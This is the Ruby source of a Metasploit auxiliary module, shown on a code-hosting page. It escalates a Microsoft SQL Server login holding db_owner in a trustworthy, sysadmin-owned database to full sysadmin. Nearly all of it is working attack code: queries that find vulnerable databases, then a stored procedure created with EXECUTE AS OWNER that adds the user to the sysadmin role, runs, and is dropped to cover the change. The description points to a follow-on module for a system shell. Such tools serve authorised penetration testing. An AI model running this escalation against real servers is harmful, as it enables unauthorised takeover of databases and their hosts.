Path: blob/master/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL7include Msf::OptionalSession::MSSQL89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Microsoft SQL Server Escalate Db_Owner',14'Description' => %q{15This module can be used to escalate privileges to sysadmin if the user has16the db_owner role in a trustworthy database owned by a sysadmin user. Once17the user has the sysadmin role the msssql_payload module can be used to obtain18a shell on the system.19},20'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],21'License' => MSF_LICENSE,22'References' => [[ 'URL', 'http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']],23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [IOC_IN_LOGS],26'Reliability' => []27}28)29)30end3132def run33# Check connection and issue initial query34if session35set_mssql_session(session.client)36else37print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")38if mssql_login_datastore39print_good('Connected.')40else41print_error('Login was unsuccessful. Check your credentials.')42disconnect43return44end45end4647# Query for sysadmin status48print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")49user_status = check_sysadmin5051# Check if user has sysadmin role52if user_status == 153print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")54disconnect55return56end5758print_status("You're NOT a sysadmin, let's try to change that")5960# Check for trusted databases owned by sysadmins61print_status('Checking for trusted databases owned by sysadmins...')62trust_db_list = check_trust_dbs63if trust_db_list.nil? || trust_db_list.empty?64print_error('No databases owned by sysadmin were found flagged as trustworthy.')65disconnect66return67end6869# Display list of accessible databases to user70print_good("#{trust_db_list.length} affected database(s) were found:")71trust_db_list.each do |db|72print_status(" - #{db[0]}")73end7475# Check if the user has the db_owner role in any of the databases76print_status('Checking if the user has the db_owner role in any of them...')77dbowner_status = check_db_owner(trust_db_list)78if dbowner_status.nil?79print_error("Fail buckets, the user doesn't have db_owner role anywhere.")80disconnect81return82end8384# Attempt to escalate to sysadmin85print_status("Attempting to escalate in #{dbowner_status}!")86escalate_status = escalate_privs(dbowner_status)87if escalate_status88# Check if escalation was successful89user_status = check_sysadmin90if user_status == 191print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")92else93print_error('Fail buckets, something went wrong.')94end95else96print_error('Error while trying to escalate status')97end9899disconnect100return101end102103# Checks if user is already sysadmin104def check_sysadmin105# Setup query to check for sysadmin106sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"107108# Run query109result = mssql_query(sql)110111# Parse query results112parse_results = result[:rows]113status = parse_results[0][0]114115# Return status116return status117end118119# Gets trusted databases owned by sysadmins120def check_trust_dbs121# Setup query122sql = "SELECT d.name AS DATABASENAME123FROM sys.server_principals r124INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id125INNER JOIN sys.server_principals p ON126p.principal_id = m.member_principal_id127inner join sys.databases d on suser_sname(d.owner_sid) = p.name128WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"129130result = mssql_query(sql)131132# Return on success133return result[:rows]134end135136# Checks if user has the db_owner role137def check_db_owner(trust_db_list)138# Check if the user has the db_owner role is any databases139trust_db_list.each do |db|140# Setup query141sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user142from [#{db[0]}].sys.database_role_members drm143join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)144join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)145where rp.name = 'db_owner' and mp.name = SYSTEM_USER"146147# Run query148result = mssql_query(sql)149150# Parse query results151parse_results = result[:rows]152if parse_results && parse_results.any?153print_good("- db_owner on #{db[0]} found!")154return db[0]155end156end157158nil159end160161def escalate_privs(dbowner_db)162print_status(dbowner_db.to_s)163# Create the evil stored procedure WITH EXECUTE AS OWNER164evil_sql_create = "use #{dbowner_db};165DECLARE @myevil as varchar(max)166set @myevil = '167CREATE PROCEDURE sp_elevate_me168WITH EXECUTE AS OWNER169as170begin171EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin''172end';173exec(@myevil);174select 1;"175mssql_query(evil_sql_create)176177# Run the evil stored procedure178evilsql_run = "use #{dbowner_db};179DECLARE @myevil2 as varchar(max)180set @myevil2 = 'EXEC sp_elevate_me'181exec(@myevil2);"182mssql_query(evilsql_run)183184# Remove evil procedure185evilsql_remove = "use #{dbowner_db};186DECLARE @myevil3 as varchar(max)187set @myevil3 = 'DROP PROCEDURE sp_elevate_me'188exec(@myevil3);"189mssql_query(evilsql_remove)190191true192end193end194195196